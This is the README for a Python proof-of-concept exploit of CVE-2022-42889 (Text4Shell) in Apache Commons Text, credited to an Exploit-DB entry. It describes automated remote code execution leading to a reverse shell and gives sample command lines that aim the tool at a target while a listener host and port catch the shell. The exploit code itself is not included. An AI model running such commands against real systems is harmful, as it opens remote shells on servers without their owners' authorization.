
Proof of Concept (PoC) for CVE-2022-42889 (Text4Shell) targeting Apache Commons Text versions prior to 1.10.0. This script automates Remote Code Execution (RCE) via script interpolation to establish a reverse shell. This version is a structured optimization based on the original exploit found at Exploit-DB (ID: 52261).
This script is a penetration testing tool designed to exploit the CVE-2022-42889 vulnerability, also known as Text4Shell, within Apache Commons Text (versions < 1.10.0). It automates the delivery of a Java-based payload to trigger a reverse shell.
This implementation is based on the public exploit: https://www.exploit-db.com/exploits/52261
The script requires Python 3 and the requests library.
pip install requests
python3 exploit.py -t $IP -p $PORT -u <path> -param $PARAMETER -L $LHOST -P $LPORT
python3 exploit.py -t 10.10.10.10 -p 8080 -u /search/ -param query -L 10.10.14.5 -P 139
This tool is intended for educational purposes and authorized penetration testing only. The author is not responsible for any misuse or damage caused by this script.